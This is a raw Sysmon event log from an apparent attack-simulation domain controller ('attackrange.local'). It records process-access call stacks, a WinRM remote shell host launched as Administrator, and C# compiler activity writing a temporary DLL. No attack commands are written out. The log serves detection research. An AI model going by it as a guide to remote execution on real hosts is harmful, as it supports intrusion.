09:08:39.940{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000052Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:39.940{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000051Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:39.940{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000050Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:39.940{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000049Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:39.940{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000048Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:39.940{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000047Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:39.940{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000046Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:39.940{A5F018FF-2724-5F80-0500-000000007E01}640656C:\Windows\system32\csrss.exe{A5F018FF-2897-5F80-F602-000000007E01}5004C:\Windows\system32\WinrsHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x800000000000000045Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:39.940{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2897-5F80-F602-000000007E01}5004C:\Windows\system32\WinrsHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|c:\windows\system32\rpcss.dll+35069|c:\windows\system32\rpcss.dll+3a852|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x800000000000000044Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:39.941{A5F018FF-2897-5F80-F602-000000007E01}5004C:\Windows\System32\winrshost.exe10.0.14393.0 (rs1_release.160715-1616)Host Process for WinRM's Remote Shell pluginMicrosoft® Windows® Operating SystemMicrosoft Corporationwinrshost.exeC:\Windows\system32\WinrsHost.exe -EmbeddingC:\Windows\system32\ATTACKRANGE\Administrator{A5F018FF-2897-5F80-B059-110000000000}0x1159b00HighMD5=F40EC96CA18D88CB1F26FA2070010714,SHA256=607C014A3CA531FFAD50BCD90095C01E4E6B691D9E18473C70E4699CF1E31453,IMPHASH=4216D8E7F36901B61DFD6309B49BCF96{A5F018FF-272D-5F80-0C00-000000007E01}572C:\Windows\System32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch 10341000x800000000000000043Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:39.940{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000042Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:39.940{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000041Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:39.924{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000040Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:39.846{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000039Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:39.846{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000038Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:39.846{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000037Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:39.830{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000036Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:39.830{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x800000000000000035Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:39.830{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 11241100x8000000000000000160Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:08:40.815{A5F018FF-2898-5F80-FC02-000000007E01}4676C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeC:\Users\Administrator\AppData\Local\Temp\csgm5bcp.dll2020-10-09 09:08:40.674 10341000x8000000000000000159Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.815{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000158Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.815{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000157Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.815{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000156Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.815{A5F018FF-2897-5F80-F702-000000007E01}41282984C:\Windows\system32\conhost.exe{A5F018FF-2898-5F80-FD02-000000007E01}4140C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000155Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.799{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000154Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:40.799{A5F018FF-2724-5F80-0500-000000007E01}6401156C:\Windows\system32\csrss.exe{A5F018FF-2898-5F80-FD02-000000007E01}4140C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 